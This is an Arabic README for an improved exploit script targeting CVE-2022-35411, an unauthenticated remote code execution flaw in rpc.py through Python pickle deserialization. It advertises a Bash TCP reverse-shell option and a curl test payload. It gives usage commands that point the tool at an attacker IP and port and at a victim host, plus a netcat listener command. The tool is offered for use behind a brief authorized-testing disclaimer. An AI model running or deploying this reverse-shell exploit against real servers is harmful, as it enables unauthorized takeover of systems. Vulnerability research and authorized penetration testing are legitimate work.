استغلال rpc.py للتنفيذ عن بعد (CVE-2022-35411)

هذا استغلال محدث ومحسن لـ CVE-2022-35411، يستهدف الإصدارات الضعيفة من rpc.py (<= 0.6.0).
يسمح بتنفيذ الأوامر عن بعد بدون مصادقة (RCE) عبر إلغاء تسلسل pickle في بايثون.

الاستغلال الأصلي بواسطة: Elias Hohl
المحسَّن بواسطة: x7331 لسهولة الاستخدام وقابلية النقل والأتمتة

ملخص الثغرة

تكمن الثغرة في الاستخدام غير الآمن لوحدة pickle في بايثون من قبل rpc.py، مما يسمح بحمولات مصممة لتنفيذ أوامر عشوائية بدون مصادقة.

• معرف CVE: CVE-2022-35411
• الإصدارات المتأثرة: rpc.py v0.4.2 – v0.6.0
• نوع الاستغلال: تنفيذ الأوامر عن بعد بدون مصادقة (RCE)

التغييرات

• ✅ التحول إلى argparse مع خيارات --lhost و --lport و --target و --dry-run
• ✅ هيكل كود نظيف ومعياري
• ✅ تسليم شل عكسي اختياري (TCP Bash)
• ✅ حمولة اختبار curl (وضع آمن)
• ✅ دعم التسجيل ومخرجات أنظف
• ✅ إرشادات استخدام صحيحة عبر -h / --help
• ✅ بيانات وصفية وتعليقات داخلية للوضوح

الاستخدام

مثال الشل العكسي

python3 rpc-rce.py --lhost 10.10.14.1 --lport 9001

تشغيل تجريبي (بدون شل، فقط اختبار curl)

python3 rpc-rce.py --lhost 10.10.14.1 --lport 9001 --dry-run

هدف مخصص (اختياري)

python3 rpc-rce.py --lhost 10.10.14.1 --lport 9001 --target http://victim.internal:65432/sayhi

المتطلبات

• بايثون 3.x
• مكتبة requests (قم بتثبيتها باستخدام pip install requests)
• مستمع على LHOST الخاص بك (مثلاً nc -lvnp 9001)
• خادم rpc.py ضعيف قيد التشغيل

إشعار قانوني وأخلاقي

يتم توفير هذا الاستغلال لأغراض تعليمية واختبارية مصرح بها فقط. لا تستخدمه على أنظمة لا تملكها أو تفتقر إلى إذن صريح لاختبارها.